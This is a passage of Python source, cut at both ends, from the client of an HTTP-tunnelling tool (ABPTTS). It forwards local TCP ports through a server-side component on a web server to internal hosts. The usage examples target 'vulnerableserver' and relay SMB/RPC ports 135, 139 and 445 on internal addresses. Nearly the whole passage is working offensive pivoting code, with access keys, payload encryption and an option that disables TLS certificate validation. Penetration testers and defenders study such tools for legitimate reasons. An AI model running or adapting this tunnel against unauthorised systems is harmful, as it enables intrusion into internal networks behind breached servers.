143 | 144 | result = '%s]: %s' % (result, message) 145 | 146 | outputHandler.outputMessage(result) 147 | 148 | def getServerResponseFromResponseBody(responseBody, wrapperTextArray, formattedServerAddress, formattedClientAddress, listeningAddress, connectionID): 149 | result = responseBody.strip() 150 | for wt in wrapperTextArray: 151 | result = result.replace(wt, "") 152 | result = result.strip() 153 | if conf.echoHTTPBody: 154 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'HTTP Response Body', '%s%s' % (os.linesep, responseBody)) 155 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'HTTP Response Body Without Wrapper Text', '%s%s' % (os.linesep, result)) 156 | return result 157 | 158 | def getCookieFromServerResponse(connectionID, currentCookie, serverResponse): 159 | newCookie = currentCookie 160 | try: 161 | if 'set-cookie' in serverResponse: 162 | newCookie = serverResponse['set-cookie'] 163 | if connectionID.strip() != "": 164 | outputHandler.outputMessage('[Connection ID %s]: Server set cookie %s' % (connectionID, newCookie)) 165 | else: 166 | outputHandler.outputMessage('Server set cookie %s' % (newCookie)) 167 | except: 168 | newCookie = currentCookie 169 | return newCookie 170 | 171 | def child(clientsock, clientAddr, listeningAddress, forwardingURL, destAddress, destPort): 172 | global clientToServerBuffer 173 | global socketTimeoutCurrent 174 | try: 175 | formattedServerAddress = '%s:%s' % (destAddress, destPort) 176 | formattedClientAddress = '%s:%s' % (clientAddr[0], clientAddr[1]) 177 | socketTimeoutCurrent = conf.clientSocketTimeoutBase 178 | clientsock.settimeout(socketTimeoutCurrent) 179 | closeConnections = 0 180 | runChildLoop = 1 181 | if conf.accessKeyMode == "header": 182 | headers = {'User-Agent': conf.headerValueUserAgent, 'Content-type': 'application/x-www-form-urlencoded', conf.headerNameKey: conf.headerValueKey, 'Connection': 'close'} 183 | else: 184 | headers = {'User-Agent': conf.headerValueUserAgent, 'Content-type': 'application/x-www-form-urlencoded', 'Connection': 'close'} 185 | connectionID = "" 186 | cookieVal = "" 187 | body = {} 188 | http = httplib2.Http(timeout=httpConnectionTimeout, disable_ssl_certificate_validation=unsafeTLSMode) 189 | response = "" 190 | content = "" 191 | cookieVal = "" 192 | 193 | try: 194 | outputHandler.outputMessage('Connecting to %s:%i via %s' % (destAddress, destPort, forwardingURL)) 195 | 196 | plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringOpenConnection + dataBlockParamSeparator + conf.paramNameDestinationHost + dataBlockNameValueSeparator + destAddress + dataBlockParamSeparator + conf.paramNameDestinationPort + dataBlockNameValueSeparator + str(destPort) 197 | 198 | if len(encryptionKey) > 0: 199 | #plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringOpenConnection + dataBlockParamSeparator + conf.paramNameDestinationHost + dataBlockNameValueSeparator + destAddress + dataBlockParamSeparator + conf.paramNameDestinationPort + dataBlockNameValueSeparator + str(destPort) 200 | #print "Plaintext message: " + plaintextMessage 201 | ciphertextMessage = base64.b64encode(encrypt(plaintextMessage, str(encryptionKey), encryptionBlockSize)) 202 | if conf.accessKeyMode == "header": 203 | body = {conf.paramNameEncryptedBlock: ciphertextMessage } 204 | else: 205 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNameEncryptedBlock: ciphertextMessage } 206 | else: 207 | # body = {conf.paramNameOperation: conf.opModeStringOpenConnection, conf.paramNameDestinationHost: destAddress, conf.paramNameDestinationPort: destPort } 208 | plaintextMessage = base64.b64encode(plaintextMessage) 209 | if conf.accessKeyMode == "header": 210 | body = {conf.paramNamePlaintextBlock: plaintextMessage } 211 | else: 212 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNamePlaintextBlock: plaintextMessage } 213 | encodedBody = urllib.urlencode(body) 214 | if conf.echoHTTPBody: 215 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, '', 'HTTP Request Body', '%s%s' % (os.linesep, encodedBody)) 216 | 217 | http = httplib2.Http(timeout=httpConnectionTimeout, disable_ssl_certificate_validation=unsafeTLSMode) 218 | response, content = http.request(forwardingURL, 'POST', headers=headers, body=encodedBody) 219 | content = getServerResponseFromResponseBody(content, responseStringWrapperText, formattedServerAddress, formattedClientAddress, listeningAddress, connectionID) 220 | cookieVal = getCookieFromServerResponse(connectionID, cookieVal, response) 221 | headers['Cookie'] = cookieVal 222 | if conf.responseStringConnectionCreated in content: 223 | responseArray = content.split(" ") 224 | if len(responseArray) > 1: 225 | connectionID = responseArray[1] 226 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Server created connection ID %s' % (connectionID)) 227 | else: 228 | runChildLoop = 0 229 | outputHandler.outputMessage('Error: could not create connection. Raw server response: ' + content) 230 | 231 | iterationCounter = 0 232 | clientSentByteCounter = 0 233 | serverSentByteCounter = 0 234 | clientHasClosedConnection = False 235 | 236 | while runChildLoop == 1: 237 | clientMessageB64 = "" 238 | serverMessageB64 = "" 239 | content = "" 240 | scaleSocketTimeoutUp = False 241 | scaleSocketTimeoutDown = False 242 | clientSocketTimedOut = False 243 | trafficSent = False 244 | 245 | if clientHasClosedConnection == False: 246 | try: 247 | currentFromClient = clientsock.recv(conf.clientSocketBufferSize) 248 | if currentFromClient: 249 | clientToServerBuffer += currentFromClient 250 | else: 251 | clientHasClosedConnection = True 252 | 253 | except socket.error as e: 254 | if "timed out" not in str(e): 255 | raise e 256 | else: 257 | clientSocketTimedOut = True 258 | 259 | c2sBufferLength = len(clientToServerBuffer) 260 | if c2sBufferLength > 0: 261 | trafficSent = True 262 | toServerByteCount = conf.clientToServerBlockSize 263 | if toServerByteCount > c2sBufferLength: 264 | toServerByteCount = c2sBufferLength 265 | fromClient = "" 266 | if toServerByteCount < c2sBufferLength: 267 | fromClient = clientToServerBuffer[0:toServerByteCount] 268 | clientToServerBuffer = clientToServerBuffer[toServerByteCount:] 269 | else: 270 | fromClient = clientToServerBuffer[:] 271 | clientToServerBuffer = "" 272 | clientSentByteCounter = clientSentByteCounter + len(fromClient) 273 | 274 | clientMessageB64 = base64.b64encode(fromClient) 275 | if conf.echoDebugMessages: 276 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', '%s%i bytes' % (os.linesep, len(fromClient))) 277 | if conf.echoData: 278 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'Raw Data (Plaintext) (base64)', '%s%s' % (os.linesep, clientMessageB64)) 279 | else: 280 | if clientHasClosedConnection: 281 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Client closed channel') 282 | clientMessageB64 = "" 283 | runChildLoop = 0 284 | closeConnections = 1 285 | 286 | try: 287 | plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringSendReceive + dataBlockParamSeparator + conf.paramNameConnectionID + dataBlockNameValueSeparator + connectionID + dataBlockParamSeparator + conf.paramNameData + dataBlockNameValueSeparator + clientMessageB64 288 | if len(encryptionKey) > 0: 289 | #plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringSendReceive + dataBlockParamSeparator + conf.paramNameConnectionID + dataBlockNameValueSeparator + connectionID + dataBlockParamSeparator + conf.paramNameData + dataBlockNameValueSeparator + clientMessageB64 290 | ciphertextMessage = base64.b64encode(encrypt(plaintextMessage, str(encryptionKey), encryptionBlockSize)) 291 | if conf.echoData: 292 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'Raw Data (Encrypted) (base64)', '%s%s' % (os.linesep, ciphertextMessage)) 293 | if conf.accessKeyMode == "header": 294 | body = {conf.paramNameEncryptedBlock: ciphertextMessage } 295 | else: 296 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNameEncryptedBlock: ciphertextMessage } 297 | else: 298 | #body = {conf.paramNameOperation: conf.opModeStringSendReceive, conf.paramNameConnectionID: connectionID, conf.paramNameData: clientMessageB64 } 299 | plaintextMessage = base64.b64encode(plaintextMessage) 300 | 301 | if conf.accessKeyMode == "header": 302 | body = {conf.paramNamePlaintextBlock: plaintextMessage } 303 | else: 304 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNamePlaintextBlock: plaintextMessage } 305 | 306 | encodedBody = urllib.urlencode(body) 307 | if conf.echoHTTPBody: 308 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'HTTP Request Body', '%s%s' % (os.linesep, encodedBody)) 309 | response = [] 310 | madeRequest = False 311 | httpRetryCount = 0 312 | while madeRequest == False: 313 | try: 314 | response, content = http.request(forwardingURL, 'POST', headers=headers, body=encodedBody) 315 | madeRequest = True 316 | except Exception as e: 317 | httpRetryCount += 1 318 | if httpRetryCount > httpRequestRetryLimit: 319 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Error - HTTP request retry limit of %i has been reached, and this request will not be retried. Final error was: %s' % (httpRequestRetryLimit, e)) 320 | madeRequest = True 321 | else: 322 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Error - HTTP request failed with the following message: %s. This request will be retried up to %i times.' % (e, httpRequestRetryLimit)) 323 | time.sleep(httpRequestRetryDelay) 324 | 325 | content = getServerResponseFromResponseBody(content, responseStringWrapperText, formattedServerAddress, formattedClientAddress, listeningAddress, connectionID) 326 | cookieVal = getCookieFromServerResponse(connectionID, cookieVal, response) 327 | headers['Cookie'] = cookieVal 328 | except Exception as e: 329 | raise e 330 | 331 | serverClosedConnection = False 332 | 333 | try: 334 | srb = getServerResponseFromResponseBody(content, responseStringWrapperText, formattedServerAddress, formattedClientAddress, listeningAddress, connectionID) 335 | #print '"' + srb + '"' 336 | srbArray = srb.split(" ", 1) 337 | fromServer = "" 338 | if len(srbArray) > 1: 339 | if srbArray[0] == conf.responseStringData: 340 | fromServerB64 = srbArray[1] 341 | fromServer = base64.b64decode(fromServerB64) 342 | if len(encryptionKey) > 0: 343 | if conf.echoData: 344 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'Raw Data (Encrypted) (base64)', '%s%s' % (os.linesep, fromServerB64)) 345 | fromServer = decrypt(fromServer, str(encryptionKey), encryptionBlockSize) 346 | #print '"' + fromServer + '"' 347 | else: 348 | if conf.echoData: 349 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'Raw Data (Plaintext) (base64)', '%s%s' % (os.linesep, fromServerB64)) 350 | fullMessageSize = len(fromServer) 351 | numBlocks = int(math.ceil(float(fullMessageSize) / float(conf.clientBlockSizeLimitFromServer))) 352 | if conf.echoDebugMessages: 353 | if numBlocks > 1: 354 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Splitting large block (%i bytes) into %i blocks for relay to client' % (fullMessageSize, numBlocks)) 355 | for blockNum in range(0, numBlocks): 356 | firstByte = blockNum * conf.clientBlockSizeLimitFromServer 357 | lastByte = (blockNum + 1) * conf.clientBlockSizeLimitFromServer 358 | if lastByte > fullMessageSize: 359 | lastByte = fullMessageSize 360 | currentBlock = fromServer[firstByte:lastByte] 361 | serverSentByteCounter = serverSentByteCounter + len(currentBlock) 362 | if conf.echoData: 363 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'Raw Data (Plaintext) (base64)', '%s%s' % (os.linesep, base64.b64encode(currentBlock))) 364 | if conf.echoDebugMessages: 365 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', '(Block %i/%i) %i bytes' % (blockNum + 1, numBlocks, len(currentBlock))) 366 | try: 367 | clientsock.send(currentBlock) 368 | except Exception as e: 369 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Error sending to client - %s' % (e)) 370 | if conf.clientBlockTransmitSleepTime > 0.0: 371 | if blockNum < (numBlocks - 1): 372 | time.sleep(conf.clientBlockTransmitSleepTime) 373 | else: 374 | foundResponseType = False 375 | if srb == conf.responseStringNoData: 376 | foundResponseType = True 377 | if conf.echoDebugMessages: 378 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'No data to receive from server at this time') 379 | else: 380 | trafficSent = True 381 | if srb == conf.responseStringErrorInvalidRequest: 382 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that the request was invalid. Verify that that you are using a client configuration compatible with the server-side component.') 383 | foundResponseType = True 384 | if srb == conf.responseStringErrorConnectionOpenFailed: 385 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that the requested connection could not be opened. You may have requested a destination host/port that is inaccessible to the server, the server may have exhausted ephemeral ports (although this is unlikely), or another component (e.g. firewall) may be interfering with connectivity.') 386 | foundResponseType = True 387 | if srb == conf.responseStringErrorConnectionSendFailed: 388 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that an error occurred while sending data over the TCP connection.') 389 | foundResponseType = True 390 | if srb == conf.responseStringErrorConnectionReceiveFailed: 391 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that an error occurred while receiving data over the TCP connection.') 392 | foundResponseType = True 393 | if srb == conf.responseStringErrorDecryptFailed: 394 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported a decryption failure. Verify that the encryption keys in the client and server configurations match.') 395 | foundResponseType = True 396 | if srb == conf.responseStringErrorEncryptFailed: 397 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported an encryption failure. Verify that the encryption keys in the client and server configurations match.') 398 | foundResponseType = True 399 | if srb == conf.responseStringErrorEncryptionNotSupported: 400 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that it does not support encryption. Verify that that you are using a client configuration compatible with the server-side component.') 401 | foundResponseType = True 402 | if foundResponseType == False: 403 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Unexpected response from server: %s' % (content)) 404 | serverClosedConnection = True 405 | 406 | if conf.responseStringConnectionClosed in content: 407 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server explicitly closed connection ID %s' % (connectionID)) 408 | serverClosedConnection = True 409 | if conf.responseStringErrorConnectionNotFound in content: 410 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that connection ID %s was not found - assuming connection has been closed.' % (connectionID)) 411 | serverClosedConnection = True 412 | except socket.error as e: 413 | if "timed out" not in str(e): 414 | raise e 415 | 416 | if trafficSent: 417 | scaleSocketTimeoutDown = True 418 | scaleSocketTimeoutUp = False 419 | else: 420 | scaleSocketTimeoutDown = False 421 | scaleSocketTimeoutUp = True 422 | 423 | if serverClosedConnection == True: 424 | runChildLoop = 0 425 | closeConnections = 1 426 | try: 427 | responseArray = content.split(" ") 428 | if len(responseArray) > 1: 429 | connectionID = responseArray[1] 430 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server closed connection ID %s' % (connectionID)) 431 | else: 432 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server closed connection ID %s without specifying its ID' % (connectionID)) 433 | except: 434 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server closed connection ID %s without sending a response' % (connectionID)) 435 | 436 | iterationCounter = iterationCounter + 1 437 | if iterationCounter > conf.statsUpdateIterations: 438 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', '%i bytes sent since last report' % (clientSentByteCounter)) 439 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', '%i bytes sent since last report' % (serverSentByteCounter)) 440 | iterationCounter = 0 441 | clientSentByteCounter = 0 442 | serverSentByteCounter = 0 443 | 444 | if runServer == 0: 445 | outputHandler.outputMessage('Server shutdown request received in thread for connection ID %s' % (connectionID)) 446 | runChildLoop = 0 447 | closeConnections = 1 448 | else: 449 | if conf.autoscaleClientSocketTimeout: 450 | # scale socket timeout up/down if the criteria for doing so was met 451 | timeoutChange = 0.0 452 | #global socketTimeoutCurrent 453 | newSocketTimeout = socketTimeoutCurrent 454 | if scaleSocketTimeoutDown or scaleSocketTimeoutUp: 455 | timeoutChange = conf.clientSocketTimeoutScalingMultiplier * socketTimeoutCurrent 456 | if scaleSocketTimeoutDown: 457 | newSocketTimeout = conf.clientSocketTimeoutMin 458 | if scaleSocketTimeoutUp: 459 | newSocketTimeout = socketTimeoutCurrent + timeoutChange 460 | # make sure socket timeout is within specified range 461 | if newSocketTimeout < conf.clientSocketTimeoutMin: 462 | newSocketTimeout = conf.clientSocketTimeoutMin 463 | if newSocketTimeout > conf.clientSocketTimeoutMax: 464 | newSocketTimeout = conf.clientSocketTimeoutMax 465 | if newSocketTimeout != socketTimeoutCurrent: 466 | if conf.echoDebugMessages: 467 | outputHandler.outputMessage('[Connection ID %s]: Client-side socket timeout has been changed from %f to %f' % (connectionID, socketTimeoutCurrent, newSocketTimeout)) 468 | socketTimeoutCurrent = newSocketTimeout 469 | 470 | # apply random socket timeout variation 471 | timeoutVar = random.uniform(clientSocketTimeoutVariationNeg, conf.clientSocketTimeoutVariation) 472 | timeoutModifier = (socketTimeoutCurrent * timeoutVar) 473 | effectiveTimeout = (socketTimeoutCurrent + timeoutModifier) 474 | if conf.echoDebugMessages: 475 | outputHandler.outputMessage('[Connection ID %s]: Applying random variation of %f to client-side socket timeout for this iteration - timeout will be %f' % (connectionID, timeoutModifier, effectiveTimeout)) 476 | 477 | clientsock.settimeout(effectiveTimeout) 478 | 479 | 480 | except Exception as e: 481 | outputHandler.outputMessage('Connection-level exception: %s in thread for tunnel (%s -> %s -> %s)' % (e, formattedClientAddress, listeningAddress, formattedServerAddress)) 482 | closeConnections = 1 483 | runChildLoop = 0 484 | if closeConnections == 1: 485 | outputHandler.outputMessage('Disengaging tunnel (%s -> %s -> %s)' % (formattedClientAddress, listeningAddress, formattedServerAddress)) 486 | outputHandler.outputMessage('Closing client socket (%s -> %s)' % (formattedClientAddress, listeningAddress)) 487 | try: 488 | clientsock.shutdown(1) 489 | clientsock.close() 490 | except Exception as e2: 491 | outputHandler.outputMessage('Exception while closing client socket (%s -> %s): %s' % (formattedClientAddress, listeningAddress, e2)) 492 | plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringCloseConnection + dataBlockParamSeparator + conf.paramNameConnectionID + dataBlockNameValueSeparator + connectionID 493 | if len(encryptionKey) > 0: 494 | #plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringCloseConnection + dataBlockParamSeparator + conf.paramNameConnectionID + dataBlockNameValueSeparator + connectionID 495 | ciphertextMessage = base64.b64encode(encrypt(plaintextMessage, str(encryptionKey), encryptionBlockSize)) 496 | if conf.accessKeyMode == "header": 497 | body = {conf.paramNameEncryptedBlock: ciphertextMessage } 498 | else: 499 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNameEncryptedBlock: ciphertextMessage } 500 | 501 | else: 502 | #body = {conf.paramNameOperation: conf.opModeStringCloseConnection, conf.paramNameConnectionID: connectionID } 503 | plaintextMessage = base64.b64encode(plaintextMessage) 504 | if conf.accessKeyMode == "header": 505 | body = {conf.paramNamePlaintextBlock: plaintextMessage } 506 | else: 507 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNamePlaintextBlock: plaintextMessage } 508 | 509 | http = httplib2.Http(timeout=httpConnectionTimeout, disable_ssl_certificate_validation=unsafeTLSMode) 510 | response, content = http.request(forwardingURL, 'POST', headers=headers, body=urllib.urlencode(body)) 511 | content = getServerResponseFromResponseBody(content, responseStringWrapperText, formattedServerAddress, formattedClientAddress, listeningAddress, connectionID) 512 | cookieVal = getCookieFromServerResponse(connectionID, cookieVal, response) 513 | headers['Cookie'] = cookieVal 514 | if conf.responseStringConnectionClosed in content: 515 | responseArray = content.split(" ") 516 | if len(responseArray) > 1: 517 | connectionID = responseArray[1] 518 | outputHandler.outputMessage('Server closed connection ID %s' % (connectionID)) 519 | else: 520 | outputHandler.outputMessage('Error: could not close connection ID %s (may have already been closed on the server). Raw server response: %s' % (connectionID, content)) 521 | else: 522 | outputHandler.outputMessage("Unexpected state: child loop exited without closeConnections being set to 1") 523 | 524 | except Exception as bigE: 525 | outputHandler.outputMessage("High-level exception: %s" % (str(bigE))) 526 | 527 | def StartListener(forwardingURL, localAddress, localPort, destAddress, destPort): 528 | #formattedAddress = str(localAddress) + ":" + str(localPort) 529 | formattedAddress = '%s:%s' % (localAddress, localPort) 530 | try: 531 | myserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 532 | myserver.bind((localAddress, localPort)) 533 | myserver.listen(2) 534 | #outputHandler.outputMessage('Server started') 535 | outputHandler.outputMessage('Listener ready to forward connections from %s to %s:%i via %s' % (formattedAddress, destAddress, destPort, forwardingURL)) 536 | while runServer > 0: 537 | try: 538 | outputHandler.outputMessage('Waiting for client connection to %s' % (formattedAddress)) 539 | client, addr = myserver.accept() 540 | outputHandler.outputMessage('Client connected to %s' %(formattedAddress)) 541 | thread.start_new_thread(child, (client, addr, formattedAddress, forwardingURL, destAddress, destPort)) 542 | except Exception as e: 543 | if "Closing connections" not in str(e): 544 | raise e 545 | except Exception as e: 546 | outputHandler.outputMessage('Error in listener on %s: %s' % (formattedAddress, e)) 547 | outputHandler.outputMessage('Shutting down listener on %s' % (formattedAddress)) 548 | 549 | 550 | def ShowUsage(): 551 | print 'Usage: %s -c CONFIG_FILE_1 -c CONFIG_FILE_2 [...] -c CONFIG_FILE_n -u FORWARDINGURL -f LOCALHOST1:LOCALPORT1/TARGETHOST1:TARGETPORT1 -f LOCALHOST2:LOCALPORT2/TARGETHOST2:TARGETPORT2 [...] LOCALHOSTn:LOCALPORTn/TARGETHOSTn:TARGETPORTn [--debug]' % (sys.argv[0]) 552 | print os.linesep 553 | print 'Example: %s -c CONFIG_FILE_1 -u https://vulnerableserver/EStatus/ -f 127.0.0.1:28443/10.10.20.11:8443' % (sys.argv[0]) 554 | print os.linesep 555 | print 'Example: %s -c CONFIG_FILE_1 -c CONFIG_FILE_2 -u https://vulnerableserver/EStatus/ -f 127.0.0.1:135/10.10.20.37:135 -f 127.0.0.1:139/10.10.20.37:139 -f 127.0.0.1:445/10.10.20.37:445' % (sys.argv[0]) 556 | print os.linesep 557 | print 'Data from configuration files is applied in sequential order, to allow partial customization files to be overlayed on top of more complete base files.' 558 | print os.linesep 559 | print 'IE if the same parameter is defined twice in the same file, the later value takes precedence, and if it is defined in two files, the value in whichever file is specified last on the command line takes precedence.' 560 | print os.linesep 561 | print '--debug will enable verbose output.' 562 | print os.linesep 563 | print '--unsafetls will disable TLS/SSL certificate validation when connecting to the server, if the connection is over HTTPS' 564 | # logging-related options not mentioned because file output is buggy - just redirect stdout to a file instead 565 | #print os.linesep 566 | #print '--log LOGFILEPATH will cause all output to be written to the specified file (as well as the console, unless --quiet is also specified).' 567 | #print os.linesep 568 | #print '--quiet will suppress console output (but still allow log file output if that option is enabled).' 569 | 570 | def SplitOnLast(inputString, splitCharacter): 571 | result = [] 572 | splitCharPosition = inputString.rfind(splitCharacter) 573 | #print "Split character position: %i" % splitCharPosition 574 | #print inputString[:splitCharPosition] 575 | #print inputString[(splitCharPosition + 1):] 576 | if splitCharPosition > 0: 577 | result.append(inputString[:splitCharPosition]) 578 | result.append(inputString[(splitCharPosition + 1):]) 579 | else: 580 | result.append(inputString) 581 | return result 582 | 583 | if __name__=='__main__': 584 | showBanner() 585 | if len(sys.argv) < 5: 586 | ShowUsage() 587 | sys.exit(1) 588 | 589 | forwardingURL = "" 590 | forwardingConfigurationList = [] 591 | configFileList = [] 592 | cliLogFileLocation = "" 593 | cliDebugOutput = False 594 | cliQuietOutput = False 595 | 596 | basePath = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) 597 | 598 | args2 = [] 599 | 600 | argNum = 0 601 | while argNum < len(sys.argv): 602 | currentArg = sys.argv[argNum] 603 | foundArg = False 604 | if argNum < (len(sys.argv) - 1): 605 | nextArg = sys.argv[argNum + 1] 606 | if currentArg == "-c": 607 | foundArg = True 608 | #configFileList = nextArg.split(",") 609 | configFileList.append(nextArg) 610 | if foundArg == False: 611 | if currentArg == "-u": 612 | foundArg = True 613 | forwardingURL = nextArg 614 | if foundArg == False: 615 | if currentArg == "-f": 616 | foundArg = True 617 | #forwardingConfigurationList = nextArg.split(",") 618 | forwardingConfigurationList.append(nextArg) 619 | if foundArg == False: 620 | if currentArg == "--log": 621 | foundArg = True 622 | cliLogFileLocation = nextArg 623 | if foundArg: 624 | argNum += 2 625 | if foundArg == False: 626 | args2.append(currentArg) 627 | argNum += 1 628 | 629 | # this is done twice to cause these settings to apply for all output... 630 | if cliLogFileLocation != "": 631 | conf.writeToLog = True 632 | conf.logFilePath = cliLogFileLocation 633 | for a in args2: 634 | if a == "--debug": 635 | conf.echoDebugMessages = True 636 | if a == "--unsafetls": 637 | unsafeTLSMode = True 638 | outputHandler.outputMessage('WARNING: The current configuration ignores TLS/SSL certificate validation errors for connection to the server component. This increases the risk of the communication channel being intercepted or tampered with.') 639 | 640 | #if a == "--quiet": 641 | # conf.writeToStandardOut = False 642 | 643 | parameterFileArray = [] 644 | parameterFileArray.append(os.path.join(basePath, 'data', 'settings-default.txt')) 645 | parameterFileArray.append(os.path.join(basePath, 'data', 'settings-fallback.txt')) 646 | for cf in configFileList: 647 | parameterFileArray.append(cf) 648 | if conf.echoDebugMessages: 649 | conf.LoadParameters(parameterFileArray, True) 650 | else: 651 | conf.LoadParameters(parameterFileArray, False) 652 | 653 | # only compute this once 654 | #global clientSocketTimeoutVariationNeg 655 | clientSocketTimeoutVariationNeg = conf.clientSocketTimeoutVariation * -1.0 656 | 657 | # Handle not only the "normal" prefix/suffix blocks, but also any variations created 658 | # by "helpful" servers, e.g. Apache Tomcat, which transparently strips 659 | # \r characters from output 660 | #global responseStringWrapperText 661 | responseStringWrapperText = [] 662 | responseStringPrefix = base64.b64decode(conf.responseStringPrefixB64) 663 | responseStringWrapperText.append(responseStringPrefix) 664 | responseStringWrapperText.append(responseStringPrefix.replace("\r", "")) 665 | responseStringSuffix = base64.b64decode(conf.responseStringSuffixB64) 666 | responseStringWrapperText.append(responseStringSuffix) 667 | responseStringWrapperText.append(responseStringSuffix.replace("\r", "")) 668 | 669 | #global dataBlockNameValueSeparator 670 | #global dataBlockParamSeparator 671 | dataBlockNameValueSeparator = base64.b64decode(conf.dataBlockNameValueSeparatorB64) 672 | dataBlockParamSeparator = base64.b64decode(conf.dataBlockParamSeparatorB64) 673 | 674 | 675 | #socketTimeoutCurrent = clientSocketTimeoutBase 676 | #global encryptionKey 677 | encryptionKey = [] 678 | encryptedTraffic = False 679 | 680 | if len(conf.encryptionKeyHex) > 0: 681 | try: 682 | encryptionKey = binascii.unhexlify(conf.encryptionKeyHex) 683 | encryptedTraffic = True 684 | except: 685 | encryptionKey = [] 686 | 687 | if encryptedTraffic == False: 688 | outputHandler.outputMessage('WARNING: The current configuration DOES NOT ENCRYPT tunneled traffic. If you wish to use symmetric encryption, restart this utility with a configuration file which defines a valid encryption key.') 689 | 690 | # ...as well as override contrary values in the settings file(s) 691 | if cliLogFileLocation != "": 692 | conf.writeToLog = True 693 | conf.logFilePath = cliLogFileLocation 694 | for a in args2: 695 | if a == "--debug": 696 | conf.echoDebugMessages = True 697 | 698 | #time.sleep(0.1) 699 | 700 | if conf.echoDebugMessages: 701 | conf.ShowParameters() 702 | 703 | #time.sleep(0.1) 704 | 705 | if forwardingURL == "": 706 | outputHandler.outputMessage('Error: no ABPTTS forwarding URL was specified. This utility will now exit.') 707 | sys.exit(2) 708 | 709 | forwarderCount = 0 710 | 711 | for fw in forwardingConfigurationList: 712 | parsedMap = False 713 | #try: 714 | forwardingConfigurationString1 = fw.split("/") 715 | if len(forwardingConfigurationString1) > 1: 716 | #forwardingConfigurationString1a = forwardingConfigurationString1[0].split(":") 717 | #forwardingConfigurationString1b = forwardingConfigurationString1[1].split(":") 718 | forwardingConfigurationString1a = SplitOnLast(forwardingConfigurationString1[0], ":") 719 | forwardingConfigurationString1b = SplitOnLast(forwardingConfigurationString1[1], ":") 720 | if len(forwardingConfigurationString1a) > 1: 721 | if len(forwardingConfigurationString1b) > 1: 722 | localAddress = forwardingConfigurationString1a[0] 723 | localPortString = forwardingConfigurationString1a[1] 724 | destAddress = forwardingConfigurationString1b[0] 725 | destPortString = forwardingConfigurationString1b[1] 726 | #print "Local address: %s" % localAddress 727 | #print "Local port: %s" % localPortString 728 | #print "Dest address: %s" % destAddress 729 | #print "Dest port: %s" % destPortString 730 | try: 731 | localPort = int(localPortString) 732 | except: 733 | print "Could not parse a local port number as an integer" 734 | sys.exit(1) 735 | try: 736 | destPort = int(destPortString) 737 | except: 738 | print "Could not parse a destination port number as an integer" 739 | sys.exit(1) 740 | parsedMap = True 741 | #sys.exit(0) 742 | #except: 743 | # parsedMap = False 744 | if parsedMap: 745 | thread.start_new_thread(StartListener, (forwardingURL, 